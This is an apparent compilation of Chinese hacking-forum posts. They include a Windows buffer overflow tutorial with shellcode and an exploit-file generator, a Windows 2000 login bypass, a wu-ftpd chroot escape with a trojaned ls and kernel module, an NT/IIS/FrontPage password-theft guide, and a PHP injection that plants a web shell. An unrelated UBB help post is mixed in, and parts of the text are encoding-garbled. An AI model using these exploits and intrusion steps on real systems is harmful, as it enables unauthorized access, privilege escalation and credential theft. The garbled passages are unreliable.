cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
return 0;
__asm jmp esp
}
return nRetCode;
}

好了,然后在Visual C++环境中设置正确的调试断点。哪里?对了,在“return
0;”处。接着运行程序,使其在断点处暂停运行。现在(选择“view”菜单——“Debug
Windows”——“Disassembly”)打开反汇编窗口,并在反汇编窗口中单击鼠标右键,在右键弹出菜单中选择“Source
Annotation”和“Code Bytes”。此时,在内存地址列右侧、(jmp esp)指令列左侧的"FF E4"就是指令"jmp
esp"的机器码。如果需要找出其它汇编指令的机器码,基本上都可通过这种方法得到。

下一步是如何在我们的进程空间里找到这串机器码。也是非常简单的,只要修改一下代码即可:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm jmp esp

#else

bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "< return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"< }
}
catch(...)
{
cout<<"END OF "< done = true;
}
}

if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}

也许你会奇怪,为什么不用Kernel32.dll呢?它不是更通用吗?我刚开始时也是在动态链接库Kernel32的进程空间寻找”FF
E4”,但居然一处也找不到!(而在Windows NT
4中找到能至少6处!:(()后来我尝试在User32.dll中寻找,终于找到了一处。运行后程序输出:

OPCODE found at 0x77e2e32a
END OF User32 MEMORY REACHED

注意,不同的动态链接库和版本,得到的结果可能会不一样。我的动态链接库User32.dll版本为5.00.2180.1。现在用16进制文件编辑器(如Ultra
Edit)打开overflow.txt文本文件,在第21字符位置开始输入2A E3 E2 77。(为什么要在第21字符位置?为什么要输入2A E3
E2
77?我不想解释了,如果你连这都看不懂,建议你不要再研究缓冲区溢出了!)我们先保留后面的四个’a’字符。使用调试器运行程序,执行到”ret”命令处停下来,看看下一条指令是否为”jmp
esp”,而且执行”jmp esp”前esp的内容是否为0x61616161。如果一切正确,OK, so far so good.
;)让我们来进行更刺激的事情――编写缓冲区溢出后的执行代码。

首先,你必须确保所有需要的动态链接库都被加载到进程空间中。一种方法是利用该程序本身调用的动态链接库;另一种方法是在溢出代码中加载该动态链接库。(在ipxodi的《Windows系统下的堆栈溢出?分杏邢晗附樯堋#┰谡饫镂也捎玫谝恢址椒āN?裁矗恳蛭?虻ヂ铩#唬?P>呵呵,为了编程简单,同时本文的主要目的是教学,重点在于原理,所以代码执行时仅是弹出一个消息框。如果想编写更具攻击性或更复杂的执行代码,可参阅ipxodi所著的《Windows系统下的堆栈溢出》?吐躺??耪?淼摹陡呒痘撼迩?绯觥贰2还??蠊?愿海?P>首先我们要找到如何在代码中调用MessageBox函数。根据Windows
API文档,MessageBox依赖于user32.lib,也就是说它位于user32.dll动态链接库中。启动depends工具,打开将要被溢出的应用程序,可以发现它将加载user32.dll。然后寻找MessageBox函数的内存位置。
在我机器的user32.dll中,MessageBoxA(ASCII版本)函数的偏移量(Entry
Point)为0x00033D68。User32.dll在内存中的起始地址为0x77DF0000。将两者相加即可得到MessageBox函数的绝对内存地址为0x77E23D68。所以我们需要在汇编代码中正确设置堆栈并调用0x77E23D68。根?荻許teve
Fewer的winamp缓冲区溢出代码学习和研究,我写出来的汇编代码如下:

push ebp
push ecx
mov ebp,esp
sub esp,54h
xor ecx,ecx
mov byte ptr [ebp-14h],'S'
mov byte ptr [ebp-13h],'u'
mov byte ptr [ebp-12h],'c'
mov byte ptr [ebp-11h],'c'
mov byte ptr [ebp-10h],'e'
mov byte ptr [ebp-0Fh],'s'
mov byte ptr [ebp-0Eh],'s'
mov byte ptr [ebp-0Dh],cl
mov byte ptr [ebp-0Ch],'W'
mov byte ptr [ebp-0Bh],'e'
mov byte ptr [ebp-0Ah],' '
mov byte ptr [ebp-9],'G'
mov byte ptr [ebp-8],'o'
mov byte ptr [ebp-7],'t'
mov byte ptr [ebp-6],' '
mov byte ptr [ebp-5],'I'
mov byte ptr [ebp-4],'t'
mov byte ptr [ebp-3],'!'
mov byte ptr [ebp-2],cl
push ecx
lea eax,[ebp-14h]
push eax
lea eax,[ebp-0Ch]
push eax
push ecx
mov dword ptr [ebp-18h],0x 77E23D68
call dword ptr[ebp-18h]
mov esp,ebp
pop ecx
pop ebp

以上汇编代码将调用位于0x77E23D68的MessageBox函数,使其弹出标题为”Success”、消息内容为”We Got
It!”的消息框。必须要注意的是,我们不能使用0(NULL)作为字符串中的字符,解决方法请参考ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。现在,我们要得到这?┗惚啻?氲幕?髀搿7椒ㄇ懊嬉丫?樯芄?耍?辉僦馗础W詈笳?淼玫降幕?髀胛??P>\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45
\xee\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d
\xf3\xc6\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8
\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd
\x21\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d
\xe2\x77\xff\x55\xe8\x8b\xe5\x59\x5d

如果现在将这输入到overflow.txt文件中,将能够成功溢出,并弹出我们定制的消息框。但当单击”确定”按钮后,应用程序将崩溃。要避免出现这种情况,我们需要调用exit函数以正常关闭程序。查阅Wi
ndows
API文档可知,需要导入msvcrt.lib,因此肯定在msvcrt.dll动态链接库中。使用depends工具会发现应用程序加载了msvcrtd.dll而不是msvcrt.dll,这是因为我们应用程序现在使用的是调试版本。但两者?惶?嗲?稹?svcrtd.dll在内存中的起始地址为0x10200000,exit函数的偏移量(Entry
Point)为0x0000AF90,则exit函数的绝对地址为0x1020AF90。故汇编代码为:

push ebp
push ecx
mov ebp,esp
sub esp,10h
xor ecx,ecx
push ecx
mov dword ptr [ebp-4],0x1020AF90
call dword ptr[ebp-4]
mov esp,ebp
pop ecx
pop ebp

以上代码以0为参数调用exit函数,使应用程序以代码0退出运行。整理后得到的机器码如下:

\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff\x55\xfc\x8b\xe5\x59\x5d


现在将上面两串机器码输入到overflow.txt文件中(以第25个字节为起始位置。这次不用问为什么了吧?!如果还不懂,复习一下前面的内容!)

如果你嫌麻烦,可以使用以下程序(怎么样,够朋友了吧?;)):

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buffer[20];
//0x77e2e32a //user32.dll JMP ESP
char eip[] = "\x2a\xe3\xe2\x77";
char sploit[] =
"\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee"
"\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6"
"\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8\x6f\xc6\x45"
"\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21\x88\x4d\xfe"
"\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xff\x55\xe8\x8b"
"\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff"
"\x55\xfc\x8b\xe5\x59\x5d";

for(int x=0;x<20;x++)
{
buffer[x] = 0x90;
}

CFile file;
file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite);

file.Write(buffer,20);
file.Write(eip,strlen(eip));
file.Write(sploit,strlen(sploit));

file.Close();
}

return nRetCode;
}

在确保所有文件的内容和位置都准确无误后,运行被溢出程序…………哈哈,我们的消息框弹出来了!!!单击”确定”按钮,程序正常关闭!!!

--[ 后记

最近访问国外的安全站点、黑客站点,发现国外越来越多地关注Windows系统的安全,研究Windows系统漏洞的也越来越多,包括L0pht、Cerberus等。特别是在一些黑客性质很重的站点,针对Windows
9x/NT/2k的攻击程序一堆堆的。真的有点不敢想像,如果Micro$oft公开所有Windows的源代码,会有多少安全漏洞被发现。而我想,根据国内使用Windows平台的普遍性,问题将会更加严重。因此我觉得国?诙訵indows的安全性研究应该抓得更紧些!虽然实际情况令人沮丧……:(


这篇文章本来不打算整理的,因为我自己也是刚开始研究Windows系统下的缓冲区溢出,掌握的东西不多,担心被Windows高手取笑。后来倒是自己想通了:只有“班门弄斧”,才能知道自己的不足,才能更快地取得进步。希望众Windows高手、黑客高手多多指教。象我们绿色兵团里的ipxodi、袁哥、zer9等,都是Windows平台下的安全专家,如果本文能起到“抛砖引玉”的作用,我便很满足

一光年的距离 2009-04-23 17:56
如何破解WINDOWS 2000登陆口令

  微软发布的WINDOWS 2000功能很强大,但还是有漏洞可钻。下面我告诉你如何在忘记超级口令时如何重新获得WINDOWS2000的超级口令。

  在出现登陆页面时,按CTRL+SHIFT,调出任一输入法。用鼠标右键点击输入法状态条,在弹出的菜单中,你会看到帮助,任选一帮助,会出现帮助页。再点“打印”,接下来会喊你确定打印主题,不理它。点“确定”,在出现的打印框里,双击“添加打印机”,选择安装“网络打印机”,点下一步。在键入打印机名里,乱输一个打印机的名字,点“下一步”,WINDOWS会告诉你输入名不在或是错误。没关系,这时会弹出一个提示条,有两个按钮可选。一个是“确定”,一个是“帮助”,点“帮助”,再一次出现帮助窗口。在窗口的上面,有“WEB帮助”,点它,会出现浏览器,点一 链接,浏览器就出来了。在浏览器地址栏里输入“c : /或是d:/,.....”,这时我们就饶过口令而登陆成功了。现在你就可以获得超级权限了。这时浏览器就会变成“资源管理器”,点地址栏,选控制面板,双击“管理工具”,在用户里新添加“Administrator",或是修改“Administrator"的口令也可以。这样你就可以用你新设定的口令进入WINDOWS了。

  这对于忘记登陆口令很有帮助。本人绝不容许网友用此来搞破坏,如果有什么后果,于本人无关。切记,切记!!!!

这是WINDOWS 2000的一个漏洞。你2000用户可以到微软公司去下载2000的补丁程序。http://www.microsoft.com/china/windows2000/ServicePack1.htm

                                                                    

一光年的距离 2009-04-23 17:57
突破FTP中的限制

BY XUNDI

这篇文章是对WU-FTPD设置了CHROOT后,配置出现的问题造成了突破CHROOT限制,并可以访问全部文件系统,我只是看到了这篇文章,感觉思路不错,就把其翻译了出来,由于时间仓促,没有对程序进行测试。这篇文章也是98年发表的文章,所以并不一定对现在最新的系统适用。------------了解思路吗!!!

下面是对WU-FTPD的测试,尽管任何FTP服务程序允许限制各种访问,但在用户目录下使用/bin/ls存在潜在的漏洞。

当我们增加一个新的用户到系统的时候(使用adduser,useradd等),新的用户就变成了他用户目录的属主,如:

drwx------ 2 user users 1024 Jun 21 11:26 /home/user/

问题出在当我们设置FTP服务器为了限制用户访问他们目录权利的时候,现在在我们的模拟系统中的用户home目录下建立一个目录结构:

/etc: 密码,组 .

/bin: ls, compress, gzip... - 一些可以运行的两进制程序。

/lib, /usr/lib: 一些需要的库文件。

/dev: 为了建立连接某些操作系统需要访问的一些设备。

用户不需要改变他们的目录等属性,因为我们限制了他们的许可权利和把所有权归属给超级用户。

问题在于当我们做这个的时候,我们忘记了用户home目录的属主现在是归属于用户的。这样的话他可以改变此目录下的任意文件,下面的情况是很容易找到的:

drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/

在这里用户user可以改变在他Home下的bin目录,(如果目录里的内容不归属于此用户,我们不能删除目录下的内容,但并不能阻止我们改名它):

OK,现在的要点在那里?我们可以看看wu.ftpd是怎样内部工作的:

当我们通过FTP(LIST命令)来请求一个目录列表的时候,FTP服务程序执行了/bin/ls,注意,这个ls一般是受限用户下的/bin/ls程序。

我们知道FTP服务程序是以ROOT身份来运行的,当一个用户访问受限制的FTP,服务程序会改变它的euid为用户uid。服务程序使用seteuid()来代替setuid()是为了重新获得超级用户的权利,但使用setuid()来操作是不可能的。

不管怎样,FTP服务程序执行了在chroot()后的用户目录下的/bin/ls,chroot()是改变了处理ROOT目录的方法。在chroot()以后进程只能访问文件系统的一部分,而且不能超越这个限制。

如果用户能修改/bin/ls,接着当我们运行LIST的时候,系统就会运行我们修改过的ls,并且这个程序是以euid等用户uid来执行,但这时uid=0,因为ls能调用setuid(0)并要重新获得超级用户的权利,虽然这时候还是在用户目录的限制状况下。

所以下面描述摆脱chroot()的限制:

就象我们上面刚刚说过,即使我们能执行任意代码,我们也只不过在choroot()后的文件系统里在运行,因为chroot()继承父进程到子进程,因此我们派生一个进程的话我们仍然限制于chroot().

ROOT目录进程处理的所有权在系统内存的进程表中存储着所有进程的信息(这个表只能是超级用户访问),因此我们只有能访问这张表,修改我们的ROOT目录并派生一个继承新ROOT目录的进程,我们就摆脱了chroot()的限制。

另外一个方法(FOR LINUX)是装载一个内核模块来捕获chroot()的系统调用,并修改它的可访问文件系统限制,或者干脆是给内核模块来来访问系统并执行任意代码。

实践:

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

用户连接到了机器并访问了他可以访问的系统,一连接后,FTP服务程序执行了chroot()到用户的home 目录:

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.

用户被受限于他的home目录:

ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.

修改ls两进制程序并上载所需文件

ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful

改变文件属性,这样可以来执行刚刚上载的文件。

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.

运行修改过的ls并改变他的euid=0和装载木马模块。

ftp> bye
221 Goodbye.
thx:~#

这时,用户已经装载了内核模块并捕获和使chroot() syscall无效了

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

再次登陆,服务程序chroot()到用户目录,但这次由我们的内核模块进行了控制。

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 1697
drwxr-xr-x 21 root root 1024 Jun 21 11:57 .
drwxr-xr-x 21 root root 1024 Jun 21 11:57 ..
-rw-r--r-- 1 root root 118 Apr 21 11:26 .bash_history
drwxr-xr-x 2 root bin 2048 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 8 11:26 boot
drwxr-xr-x 2 root root 1024 Oct 6 11:26 cdrom
drwxr-xr-x 3 root root 21504 Jun 21 15:26 dev
drwxr-xr-x 14 root root 3072 Jun 21 15:26 etc
drwxr-xr-x 7 root root 1024 Jun 21 19:26 export
drwxr-xr-x 7 root root 1024 Jun 21 19:26 home
dr-xr-xr-x 5 root root 0 Jun 21 14:26 proc
...
-rw-r--r-- 1 root root 404717 Mar 12 18:06 vmlinuz
226 Transfer complete.

这时我们可以访问整个文件系统了。

ftp> get /etc/passwd
226 Transfer complete.

ftp> bye
221 Goodbye.
thx:~#

这是使用了可装载内核模块,假如你使用了其他修改文件等等的可装载内核模块,我们就可以获得更大的权利。

最好的解决办法是设置正确的目录属性:

ilm:~$ ls -ula /home/user
total 5
drwxr-xr-x 6 root root 1024 Jun 21 11:26 ./
drwxr-xr-x 8 root root 1024 Jun 21 11:26 ../
d--x--x--x 2 root root 1024 Jun 21 11:26 bin/
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc/
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home/
ilm:~$

更好的办法是使用ProFTPD,因为ProFTPD要比WU-FTPD的安全性好不少。

参考:

1,模块代码下载:http://hispahack.ccc.de/wu-guest.tgz
2,wu-ftpd Resource Center --http://www.landfield.com/wu-ftpd/
3,ProFTPD -- http://www.proftpd.org/
4,原文:http://hispahack.ccc.de/en/mi009en.htm

一光年的距离 2009-04-23 17:57
如何进入一台UNIX主机

写关于hack and securtiy teachnology的文章,本人并不鼓励人们去hack,我只是想告诉大家,hacker是

如何hack,应如何防止自己成为被hack的对象。若有人因此文件导致恶意入侵别人的电脑或网络,本人概不

负责!!!!!注:真的hacker决不破坏他人的电脑网络与系统中任何文件.

大家好,我是Pending,今天我来向大家介绍如何进入在网络中运行的主机.首先你最好具备有Windows98/NT.

进入主机有很多中方法,最主要的是使用FTP和Telnet来登陆主机.如果你对FTP和TELNET不熟悉的话,可以找

一些书籍或网页来进行参考.好了,这些就是你首先需要知道的知识. 首先首先在WINDOWS的目录底下运行ftp

命令,然后就会出现的情况如下: ftp> <-------- 这就有点象Windows的DOS提示符 -----在此打断一下,接

下来要用到一系列的关于FTP的命令,所以你最好要了解一下FTP的操作命令 现在我们登陆的主机的目标是

www.weiqi.net ,下面便是进入的过程,在个别的地方我会加以说明. Ftp>open www.weiqi.net <----登陆主

机,命令格式 open hostname or ip [port] *如port不添便为默认值.

一光年的距离 2009-04-23 17:57
BBS中常用的UBB代码

  UBB代码是HTML的一个变种。一般情况下,你发布的信息允许你用HTML也就可以使用UBB代码。即使你的讨论区不能让你使用HTML,你也可以使用UBB代码。

目前可用的UBB代码(红字部分即UBB代码):

1.URL超级链接
在你的信息里加入超级链接,只要按下列方式套入就可以了。
www.longinfo.com
按上例套入,UBB代码会自动对URL产生链接,并保证当用户点击新的窗口时这个链接是打开着的。注意URL的"http://"这一部分是随意的。

2.电子邮件链接
在你的信息里加入电子邮件的超级链接,只要按照下例套入就可以了。
bjcct@21cn.com
按上例套入,UBB代码会对电子邮件自动产生链接。

3.粗体与斜体
你可以使用 或 这些标志以达到在贴子中使用粗体或斜体的效果。
你好, 管理员
你好, 版主

4.加入图象
在你的信息里加入图象,只要按下例套入就可以了。

在上例中,UBB代码会自动让图象在你的信息里显示。注意:URL的"http://"这一部分要求在[img]后套入。还要注意:一些UBB讨论区可能会禁止使用[img]标签,阻止图形的显示。

5.引用其他信息
引用一些人的帖子,只要剪切和拷贝然后按下例套入就可以了。
[QUOTE]别问你的国家能为你作什么......
问你能为你的国家作什么?[/QUOTE]
在上例中,UBB代码会自动加重你引用的文字。


特别注意:
你不可以同时使用HTML和UBB代码的同一种功能。并且注意UBB代码不对大小写敏感。所以你可以用[URL] 或 [url]

不正确的UBB代码使用:
[url] www.longinfo.com [/url] 不要在括号和你输入的文字之间有空格
[email]bjcct@21cn.comcom 在结束时,不要忘了在括号内加入斜杠

一光年的距离 2009-04-23 17:58
  攻击NT的一些技术

    网络时代已悄然而至,大量的Unix安全问题已被发现,但是很少有适用于NT的。这篇文章将带领你熟悉被广泛使用的Windows NT的一些漏洞。对于下面将要涉及的内容,你必须了解以下一些约定……

    www.victim.com =你将要检测漏洞的服务器。记住,当我说到别的测试资料时,你应该理解。这些技术并没有特定的顺序,我只是想到哪儿说到哪儿罢了。 它是NT服务器吗?你可以这样判断一个服务器是不是nt……

1. Telnet远程登录到它的21号端口(ftp),看它是不是显示nt信息。

2. 到http://www.netcraft.com/cgi-bin/Survey/whats看看有什么关于服务器的信息。

3. 检查一下服务器是否只是说它在运行什么(检查它们的页面)。试一下NBTSTAT -A [ip address]看它的回应。如果你真的想熟悉更好的判断方法,你应该将Windows NT作为一个操作系统加以熟悉。通常的用户名: Administrator Guest Mail 密码文档的位置: \\WINNT\SYSTEM32\CONFIG\SAM \\WINNT\REPAIR Ok,现在你找到NT服务器了,接下来呢?它提供文件共享吗?你得这样判断服务器是否提供文件共享…… 1. 用域名服务器解析目标的IP地址。在dos提示符下键入:nbtstat -A IPADDRESS。你将遇见两种情况: A.没有发现主机(如果反馈没有发现主机,那并不真的是正确的错误信息。如果路由器(或者是NT服务器本身)关闭了137,138,139端口, 你也会得到这样的错误信息。为了对端口知道得更多,去rhino9站点检查一下NetBIOS文件。)或是得到这样的列表:

B. NetBIOS远程机器名单 NetBIOS Remote Machine Name Table Name Type Status ------------------------------------------------------------- TARGET <00> UNIQUE Registered A DOMAIN <00> GROUP Registered TARGET <03> UNIQUE Registered TESTUSER ; <03> UNIQUE Registered TARGET <20> UNIQUE Registered A DOMAIN <1E> GROUP Registered MAC Address = 00-60-97-35-C1-5C 如果你得到这些,那么远程机器有文件共享。你可以这样试着访问这些共享文件。

一是编辑c:\windows\lmhosts(LMHOSTS文件是一个包含NetBIOS到IP地址映射的简单文本文件)在最前面加入一行,写上ip地址,后面是空格,接着是唯一的first name,在这里当然就是目标了。那么,lmhosts将是这样的:服务器名(你想叫它什么都可以)服务器IP地址接着点击你的开始按钮去查找这台电脑。在名称栏里填上唯一的first name,也就是你在lmhosts文件里的服务器名。敲回车,有希望出现一个电脑的图标。双击该图标。如果目标机上的文件共享是需要密码的,那么会跳出一个密码对话框。你可以试着猜或暴力破解它。

第二种文件共享的方法是…… 进入dos提示符,键入 net use \\目标机IP地址\c$ 这样做试着连接目标机的共享C盘。 C$是指C盘(译者注:c$是NT的默认共享,同样的? 琩$,e$…)这也将让你提供密码。但是,你会很惊讶于如此多的人们不使用密码,呵呵。

关于观察ASP的话:你得去www.victim.com/secretinfo.asp,它有forms,否则你无论如何都会惊讶于这asp代码后面的hmm,如果里面藏着密码或其他的什么东西。想在.asp文件中看这代码,你只要这样做: http://www.victim.com/secrectinfo.asp.

注意:这已经被新的系统弥补(运行service pack 2 或3)。要退出wwwroot目录(译者注:wwwroot是NT的www服务器的目录)只需要进入:http://www. Victim.com/..\(这在IIS 3.0/运行service pack 3的NT 4.0的系统下不能工作)。

找到文件漏洞的捷径:这个漏洞经常在大量的服务器上使用和工作,它是一个秘密的好东西。进入这里: http://www.victim.com/samples/search/queryhit.htm 如果它提出一个搜索页面,那么服务器就是大开着遭受攻击的大门。在这样的情况下,你可以搜索文件,更要命的是,你可以观看这些文件。所以,我们可能会搜索这些文件: \\WINNT\SYSTEM32\CONFIG\SAM -这是nt的密码文件 \\WINNT\REPAIR - 这是nt备份的密码文件 #filename=*.pwd – 这是frontpage扩展服务器的密码文件。我呆会儿会解释如何crack。

其他的-任何关键文件,只要能让你通向他们不让看的隙间文件就好。同样,去这里玩吧: http://www.victim.com/scripts/samples/search/webhits.exe 在攻击FrontPage的深度上,mad55/super的类型:这是我所知道的最好的技术了。

首先,你必须得有FrontPage!如果你没有FrontPage,那么你不可能攻击FrontPage目标服务器。去www.microsoft.com可以得到它。现在,你同样必须理解如何连接到一台服务器,看他是不是有密码什么的…… 以下是它的步骤:(coolfrog:也就是菜单命令啦,不要犯木哦!括号中是中文版的菜单)

1. File(文件) 2. Open frontpage web(打开站点) 3. More Webs(更多的站点——coolfrog:我在Front Page 2000中找了半天也没有这一条,到下一步吧!) 2. 当它出现"Select a web server or disk location"时,在栏中输入服务器名(coolfrog:在FrontPage 2000中,直接在“文件夹”一栏中输入即可),然后单击list webs(列出网页)。

接着将出现以下的一种情况: 1. 它将说error 505(coolfrog:也就是报错啦) 2. 它将在"front page web servers found at location"一栏的下面列出一些文件夹。双击它列出的某个文件夹,如果管理员很懒或是很蠢的话,你甚至可以不需要密码就能够看到它列出远程主机的文件,你可以拖放(drag and drop)你新的hack的网页。

首先要做的是找到一些NT服务器,有两种方法: 1. 去www.yahoo.com或别的地方搜索iisadmin(IIS 服务管理)。 2. 去www.yahoo.com或别的地方搜索_vti_bin/_vti_aut/ 让你高兴的是,它们不仅会反馈运行IIS的NT服务器,而且还有frontpage扩展服务器.

进入frontpage服务器mad55类型的方法:                                                        1. 多数人不了解的事实是,大多数的人们甚至在fronpage服务器上没有设密码。如果你觉得这很无聊或是没有说服力,你可以去www.yahoo.com取得frontpage服务器的列表,坐下来试着不用密码连接它们。

2. 试一下http://www.victim.com/_vti_pvt/service.pwd,如果你走运的话,他们可能把文件访问权力弄糟了,这就会让你看到frontpage密码文档sevice.pwd里的内容。待会儿会告诉你如何破解它。

3. 这是目前最好的方法也使用的最多的方法。这如我所说的,利用搜索引擎,你可以在目标机上搜索和查看文件,不要去想你有多大的权力。如果这没错,那么,为什么不去看看frontpage密码文档呢?我们该这么办:http://www.victim.com/samples/search/queryhit.htm一旦到达那个页面,我们只需要在搜索栏填上: #filename=*.pwd 然后敲回车,很有希望能够得到一个链接到.pwd文件的列表.保存这些.pwd文件,一会儿破解。

不过,如果系统管理员比较聪明的话,他们就会把密码文件改名,那就找不到.pwd文件了。因此,为了找到真正的密码文件,我们必须找到shadow(隐藏了密码)的密码文件(UNIX)。我们应该像前面一样地使用搜索引擎,但现在是搜索 #filename=#haccess.ctl 这里的#ha ccess.ctl就是指向frontpage密码文件的文档。缺省的#haccess.ctl文件目录是: -FrontPage- Options None order deny,allow deny from all AuthName default_realm AuthUserFile c:/frontpage\ webs/content/_vti_pvt/service.pwd AuthGroupFile c:/frontpage\ webs/content/_vti_pvt/service.grp 倒数第二行是最重要的。AuthUserFile =真正的密码文件的位置。因此,如果它是:AuthUserFile c:/frontpage\ webs/content/_vti_pvt/shadow.pas 我们就知道了,真正的密码文件是shadow.pas,所以我们又要搜索文件,这次是#filen ame=shadow.pas。

通常的service.pwd(frontpage密码)是这样的: mad55:jk53kjnb43 mad55是用户名,jk53kjnb43是加密后的密码。这是一些得到frontpage密码的方法。你可能会问,如何破解它?首先,我告诉大家,试试l0pht crack,看看是不是用的同样的加密算法,可惜,不是。看起来frontpage密码的加密算法与unix密码文件一样。所以,你基本上可以使用unix密码破解机来破解。我想,Microsoft是为了提供unix支持才不得不这样干的。为了得到unix密码破解机的正确格式,你因该将frontpage密码文件中的: mad55:jk53kjnb43 粘贴转换到un ix格式: mad55:jk53kjnb43:0:0:comments:/:/bin/bash OK,你已经闯入了www.victim.com并且得到了用户名和密码。现在你可以轻松地进入Frontpage连接并修改它的页面,你也可以向别人炫耀自己的伟大,或是在一周内得到……或者你可以使用别的什么技术。

这儿是例子的说明:服务器:www.victim.com 服务器IP:2.2.2.2 用户名:mad55 密码(口令): greenman 就到这里了。下次见。 Mad55


                                                                      

一光年的距离 2009-04-23 17:58
很简单的攻击

原创:atp

314被黑全过程---漏洞在文件上传的功能

  本来没打算要黑的,但是因为他们开了FTP服务器,而其中一个用户的密码我又刚好知道,所以就把他们主页上论坛的代码偷出来看了一下,mySQL的处理不很严密,$id之类的变量都没有加引号,普通的字符串加了引号但是没有用mysql_escape_string处理,我一开始就朝这个方向努力。有一个地方是这样写的:

$result=mysql_query("select * from article where flag='' and id="
.$father,$db);

我在一片id是347贴子里面写了个PHP,然后我post了这么一个father:
347 into outfile 'f:/htdocs/cmd.php'
这样就能把贴子的内容写到php里面。注意,我熟悉他们的文件系统,web文件在
"f:\htdocs\"下面我事先是知道的。
但是没有成功,我开始以为是mysql把文件的权限去掉了,过了一会儿才想起来一定是他们的php.ini里面设置了magic_quotes_gpc=On这样引号到了php脚本里面就自动加上了反斜杠,这么基本的概念我忘了,惭愧惭愧.于是我认为他们的论坛是无懈可击的,但是后来我注意到论坛上的一个上传的功能。我试了一下,禁止了.php的上传,我觉得没有漏洞,但是出于好奇,我把它处理上传的php拿下来看了一下,最关键的代码是这样的:

else if (file_exists("upload/".$file_name))
